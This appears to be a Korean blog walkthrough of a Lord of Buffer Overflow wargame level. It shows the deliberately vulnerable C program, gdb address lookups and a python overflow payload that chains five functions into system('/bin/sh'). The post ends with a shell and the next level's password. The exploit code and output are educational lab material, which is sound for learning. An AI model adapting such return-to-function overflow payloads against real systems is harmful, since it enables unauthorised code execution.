728x90

zombie_assassin / no place to hide

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

DO 함수의 주소를 argv[1][44]~[47]까지 비교하고 있다. 함수 주소를 argv[1]에서 충분히 넘겨줄 수 있도록 buffer+48+100부터 0으로 초기화해 주는 것을 볼 수 있다. check 변수도 조건을 충족하려면 결국 DO부터 MO까지 거쳐가야 system 함수를 실행할 수 있다. 그리고 MO 함수 인자로 "/bin/sh"을 넘겨줘야한다. system 함수의 인자가 되기 때문이다.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus2 -q
(gdb) p MO
$1 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) p YUT
$2 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p GYE
$4 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p DO
$5 = {<text variable, no debug info>} 0x80487ec <DO>

DO ~ MO까지 함수의 주소를 찾았다.

(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>:	push   %ebp
0x8048725 <MO+1>:	mov    %ebp,%esp
(생략)
0x804874d <MO+41>:	mov    %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>:	push   %eax
0x8048751 <MO+45>:	call   0x804840c <system>

system 함수의 인자로 ebp+8에 있는 값이 들어가고 있다.

(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
Starting program: /home/zombie_assassin/succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`

(gdb) x/200x $ebp
(생략)
0xbffffbc8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd8:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe8:	0x41414141	0x41414141	0x080487ec	0x080487bc
0xbffffbf8:	0x0804878c	0x0804875c	0x08048724	0x42424242
0xbffffc08:	0x43434343	0x6e69622f	0x0068732f	0x3d445750
0xbffffc18:	0x6d6f682f	0x6f7a2f65	0x6569626d	0x7373615f

0xbffffc0c에 "/bin/sh"가 위치하고 있다. "CCCC"는 MO 함수의 인자이자 system 함수의 인자 대신 대입한 것이다. 그리고 MO 함수 어셈블리 코드에서 ebp+8 위치의 인자를 system 함수가 받아들인다 했기에 "/bin/sh"의 주소값 0xbffffc0c를 "CCCC" 자리에 대체할 것이다.

참고로 이전까진 코드를 짜서 "/bin/sh"의 주소를 알아냈었는데 주소엔 늘 \x40이 존재했다. 이 문제에선 \x40을 strchr 함수를 통해 필터링 하고 있기에 직접 "/bin/sh"를 argv[1]의 인자에 전달해서 "/bin/sh"의 주소를 찾아서 MO 함수 인자로 전달하는 것이다.

[zombie_assassin@localhost zombie_assassin]$ ./succubus2 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x0c\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
                                                񮡩n/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffffa94:	0xbffffc0c	0x6e69622f	0x0068732f	0x08048808
0xbffffaa4:	0x00000002	0xbffffac4	0x0804839c	0x0804894c
0xbffffab4:	0x4000ae60	0xbffffabc	0x40013e90	0x00000002
0xbffffac4:	0xbffffbbe	0xbffffbca	0x00000000	0xbffffc1a
0xbffffad4:	0xbffffc34	0xbffffc4c	0xbffffc6b	0xbffffc8d
buffer sfp DO GYE GUL YUT MO dummy 0xbffffc0c "/bin/sh"

위 구조에서 DO ~ MO까지 차례로 ret하고 ebp+8에 인자가 필요하기에 dummy 하나 넣고 "/bin/sh"의 주소인 0xbffffc0c를 대입 후 MO 함수 인자로 쓰기 위해 "/bin/sh" 문자열을 직접 대입한다. 왜 DO부터 MO까지 실행되는지는 RTL Chain을 안다면 쉽게 이해될 것이다.

DO 함수 실행 후 GYE가 실행되는 과정을 간단히 살펴보면 DO 함수로 ret가 발생하여 스택에서 DO 함수 주소는 제거될 것이다. DO 함수의 프롤로그 과정에서 push ebp와 mov ebp, esp가 발생 후 에필로그 과정에서 leave 명령 실행 시 push 했던 ebp가 제거되고 ret 명령 실행 시 GYE 함수 주소로 리턴된다.

payload를 전달했는데 core dumped가 발생하여 보니 주소가 바뀌어 있다. 0xbffffc0c가 아닌 0xbffffa98에 "/bin/sh"가 존재한다. 이것만 수정하자.

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB󽮢in/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay

succubus의 비밀번호 here to stay

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01

+ Recent posts